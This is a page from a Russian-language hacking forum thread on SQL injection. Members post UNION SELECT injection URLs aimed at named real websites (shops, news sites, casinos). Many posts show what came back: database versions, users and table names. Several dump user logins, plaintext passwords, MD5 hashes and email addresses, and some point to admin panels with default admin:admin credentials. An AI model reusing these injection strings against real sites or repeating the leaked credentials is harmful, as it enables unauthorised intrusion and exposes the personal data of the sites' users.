SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 208 of 798
  1. 5taY3r

    5taY3r Elder - Старейшина

    Joined:
    10 May 2007
    Messages:
    38
    Likes Received:
    35
    Reputations:
    0
    www.twinind.com
    Code:
    http://twinind.com/catalog_detail.php?id=-274+union+select+1,2,3,4,5,6,convert(concat_ws(0x3a,version(),user(),database())+using+latin1),8,9,10,11,12,13/*
    4.1.14:root@localhost:catalog

    www.kelleykreations.com
    Code:
    http://www.kelleykreations.com/catalog/catalog.php?id=-70+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9/*
    4.0.27-standard:kelleykr_storeus@localhost:kelleyk

    www.truelifetaxidermy.com
    Code:
    http://www.truelifetaxidermy.com/catalog.php?id=-16+union+select+1,convert(concat_ws(0x3a,version(),user(),database())+using+latin1),3,4/*
    4.1.14-standard-log:[email protected]:truelifetaxidermycom

    www.upeda.org
    Code:
    http://www.upeda.org/view.php?id=-73+union+select+concat_ws(0x3a,version(),user(),database()),2,3/*
    4.1.22-community-nt:upeda@dsiis:upeda

    www.ipodpalace.com
    Code:
    http://www.ipodpalace.com/view.php?ID=-125+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7,8,9,10,11,12,13,14/*
    4.1.22-standard:ipodpala_ipod@localhost:ipodpala_news
     
    #4141 5taY3r, 21 Dec 2007
    Last edited: 21 Dec 2007
    2 people like this.
  2. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Code:
    http://[COLOR=Olive]adam.fulara.com[/COLOR]/e.php?g=gallery&nr=-33+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4/*
    fulara@localhost::fulara::4.0.12-standard
    Есть табличка users, но никаких колонок не смог подобрать...
    Code:
    http://www.[COLOR=DarkOrange]umka.dp.ua[/COLOR]/price.php?g=-7+union+select+1,2,concat_ws(char(58,58),user(),database(),version()),4,5,6,7,8,9/*
    umapalata@localhost::umapalata::5.0.27-log
    Здесь всё очень удобно выводится))
    users->login,passwords,email
    довольно много интересных мыл, есть админские от разных сайтов)
     
    #4142 min7, 22 Dec 2007
    3 people like this.
  3. Maxyks

    Maxyks Banned

    Joined:
    8 Sep 2007
    Messages:
    174
    Likes Received:
    288
    Reputations:
    20
    там двойная авторизация
    Code:
    http://odin-torg.com/admin/
    , если вводить admin:admin попадаем на
    Code:
    http://odin-torg.com/admin/general_admin/start.php
    а там данные от u60555_odin.general_admin, но проверка ip . и кавычка экранируется =\
    Code:
    'SELECT id FROM general_admin WHERE login = 'логин' AND pass = 'пасс\'/*' AND ip_address = 'твой ip' не может быть выполнена.
     
    #4143 Maxyks, 22 Dec 2007
    3 people like this.
  4. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    pechatnick.com


    http://news.pechatnick.com/index.phtml?id=-1+union+select+concat_ws(0x2F,version(),database(),user())/*

    5.0.45-log/u8421_2/[email protected]


    http://news.pechatnick.com/index.phtml?id=-1+union+select+concat_ws(0x2F,login,pass,email,icq)+from+users+limit+3000,1/*

    логин/пароль/мейл/уин больше 3000 юзеров
    chaxter/881515/[email protected]/
     
    #4144 ElteRUS, 22 Dec 2007
    1 person likes this.
  5. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Code:
    http://www.[COLOR=DarkOrange]wollrus.ru[/COLOR]/catalog/zzz.php?b=4&tip=-2+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7,8,9/*
    wollrus9@localhost::wollrus9_shvey::4.1.22-log
    Ничё не нашёл.

    Code:
    http://www.[COLOR=DarkOrange]wegcode.be[/COLOR]/wetgrp.php?g=-1+union+select+1,2,3,concat_ws(char(58,58),user(),database(),version()),5,6/*
    wegcode_main@localhost::wegcode_main::4.0.23-standard
    Есть таблица admin, но там нашёл только id и name...
     
    #4145 min7, 22 Dec 2007
    1 person likes this.
  6. FoxMALDER

    FoxMALDER Elder - Старейшина

    Joined:
    26 Jul 2007
    Messages:
    43
    Likes Received:
    20
    Reputations:
    -1
    Да ты профи... :D
    А попробуй так:
    P.S.: Ты же сам себя на*бал! :D
    P.P.S:
     
    #4146 FoxMALDER, 23 Dec 2007
    Last edited: 23 Dec 2007
  7. Momiji

    Momiji Elder - Старейшина

    Joined:
    25 Aug 2007
    Messages:
    495
    Likes Received:
    348
    Reputations:
    127
    www.easternmarket.net
    Code:
    http://www.easternmarket.net/index.php?id=fe&fe=-53+union+select+1,concat_ws(0x3,user(),database(),version()),email,phone,5,6+from+market+limit+4,2/*
    User: [email protected]
    Database: easternm
    Version: 5.0.22-Debian_0ubuntu6.06.2-log

    Code:
    http://www.easternmarket.net/index.php?id=fe&fe=-53+union+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6+from+information_schema.columns/*
     
    #4147 Momiji, 23 Dec 2007
  8. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    price.ua

     
    #4148 n0ne, 24 Dec 2007
  9. 4Dfx

    4Dfx Banned

    Joined:
    6 Dec 2007
    Messages:
    12
    Likes Received:
    10
    Reputations:
    0
    intelco1_maxanda@localhostintelco1_intelcom4.1.22-log
    [email protected]etikk4.1.20

    IOCISONO@LOCALHOSTE-COMMERCE4.0.24_DEBIAN-10SARGE2-LOG
    http://www.vfs.com/blog/wp-login.php
     
    #4149 4Dfx, 24 Dec 2007
    2 people like this.
  10. JIyka

    JIyka Member

    Joined:
    31 Oct 2007
    Messages:
    11
    Likes Received:
    9
    Reputations:
    5
    4.1.21:[email protected]

    http://www.frankdelaney.com/work.php?id=13+union+select+1,concat(version(),0x3a,user()),3,4,5,6,7,8/*​
     
    #4150 JIyka, 24 Dec 2007
    Last edited: 24 Dec 2007
  11. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    HTML:
    http://seksmagazin.ru/show/?prod=5016+UNION+SELECT+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8,9,10,11,12,13/*
    HTML:
    http://onlinesexshop.ru/tovar/?id=5167+UNION+SELECT+1,2,3,version(),5,6,7,8,9,10,11,12,13/*
    HTML:
    http://www.loverland.ru/addbasket.php?action=add&id=-1047+UNION+SELECT+version()/*
    HTML:
    http://www.comingsoon.net/news/movienews.php?id=-40208+UNION+SELECT+version()/*
     
    #4151 ~EviL~, 24 Dec 2007
    1 person likes this.
  12. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.itmnews.ru/itmnews.php?s=-1'+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8,9/*

    4.1.20-lk-log/itmnewsru/itmnewsru@localhost

    -----------------------------------------------------------------------------

    kafanews.com

    http://www.kafanews.com/index.phtml?link=1&nn=-1+union+select+1,concat_ws(0x2F,version(),database(),user()),3,4,5,6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/*

    5.0.27-log/kafa_news/kafa_news@localhost

    http://www.kafanews.com/index.phtml?link=1&nn=-1+union+select+1,concat_ws(0x2F,kto,passwd),3,4,5,6,7,8,9,10,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+from+banka_login+limit+1,1/*

    имя/пароль
    Юлия Ташкина/>kbz



    Другие интересные таблицы:

    имя таблицы (столбцы) пример

    kasper_login (login,passwd) helena/kbyudbcnbrf
    loris_login (login,passwd) admin/lorislogin
    forums_user (username,password,email,icq) Natalia/34b5231473658a8da04b80b7f850ea17/[email protected]/210387998
    w_klients_affiliates (username,password,email) Nat/bd953afe4994579f871806f408c7ccd3/[email protected]
    user (name,pass,mail) root/1/
    users (name,pass,email,icq) Максим/adala/[email protected]/
    people (name,pass) qwerty/123456
     
    #4152 ElteRUS, 24 Dec 2007
    4 people like this.
  13. Lesnoy_chelovek

    Lesnoy_chelovek Elder - Старейшина

    Joined:
    6 Dec 2006
    Messages:
    224
    Likes Received:
    152
    Reputations:
    8
    Code:
    http://www.latek.com.ua/index.php?page=produkt.php&subcat=99+union+select+1,2,3,4,5,id,7,8+from+user/*
    тупо не могу подобрать колонки
     
    #4153 Lesnoy_chelovek, 24 Dec 2007
    3 people like this.
  14. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    www.bizzz.com

    [email protected]:4.1.22-max-log:rank_site8

    Поигравшись с лимитом, можно вывести остальных.
    __________________________________________
    www.awiscz.com

    4.1.22-log:awiscz_com:awisc.com@localhost

    Админка: www.awiscz.com/admin/
    Login: admin
    Pass: admin
    __________________________________________
    www.impresia.ro

    4.1.22-standard:impresia_web@localhost:impresia_web
    __________________________________________
    www.nordicdvd.net

    kvernan_oebdvd@localhost:4.1.22-standard:kvernan_kvernan

    Присутствует таблица kvernan
    __________________________________________
    http://videos.baise-porno.net

    kabia06@localhost:4.1.11-Debian_4sarge7-log:kabia06_privilege
    __________________________________________

    Добавлено

    Может кому будет интересно (в чем я, собственно, не сомневаюсь) ;)

    Покрутите:

     
    #4154 ThreeD, 25 Dec 2007
    Last edited: 25 Dec 2007
    7 people like this.
  15. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    HTML:
    http://www.uprava.org/section.php?id=-34+UNION+SELECT+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5,6,7/*
    HTML:
    http://www.happyland-drink.ru/brands.php?id=-2+UNION+SELECT+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*
     
    #4155 ~EviL~, 25 Dec 2007
    Last edited: 25 Dec 2007
  16. ~EviL~

    ~EviL~ Elder - Старейшина

    Joined:
    14 Aug 2007
    Messages:
    169
    Likes Received:
    77
    Reputations:
    4
    HTML:
    http://www.hro.org/get_rubric.php?id=-37+UNION+SELECT+1,version(),3,4,5,6,7/*
    HTML:
    http://www.hro.org/get_rubric.php?id=-37+UNION+SELECT+1,concat(user_id,0x3a,user_name,0x3a,password),3,4,5,6,7+FROM+user+LIMIT+0,1/*
    1:semenov:6b19beeaedade171ecc320ddd87f7ae6::dancer
     
    #4156 ~EviL~, 25 Dec 2007
    2 people like this.
  17. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    4.0.27-standard-log:db93557881:[email protected]
     
    #4157 ThreeD, 25 Dec 2007
    1 person likes this.
  18. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    2 Lesnoy_chelovek
    Code:
    http://www.latek.com.ua/index.php?page=produkt.php&subcat=99+union+select+1,2,3,log,5,pas,7,8+from+user/*
    :)
     
    #4158 Red_Red1, 25 Dec 2007
    6 people like this.
  19. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Пройдёмся по казино.
    Пять близнецов штоле? :) Не могу увидеть где выводится инфа. Ногами не бить- в скулях совсем зелен и несведущь. :)

    HTML:
    http://www.casinos-virtuels.net/description-casino.php?id=23+orde r+by+28/*
    HTML:
    http://www.casino-jeu.net/casino.php?id=54+order+b y+28/*
    HTML:
    http://www.annuaire-casino.net/casino.php?id=9+or der+by+28/*
    HTML:
    http://www.01-casino.com/casino.php?id=17+ order+by+28/*
    HTML:
    http://www.jeu-casino-online.com/casino.php?id=4+union+select+1 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,2 5,26,27,28/*
     
    #4159 ThreeD, 25 Dec 2007
  20. Scipio

    Scipio Well-Known Member

    Joined:
    2 Nov 2006
    Messages:
    733
    Likes Received:
    544
    Reputations:
    190
    минусенг в параметре поставь и увидишь:
     
    #4160 Scipio, 25 Dec 2007
    1 person likes this.
(You must log in or sign up to post here.)
Page 208 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.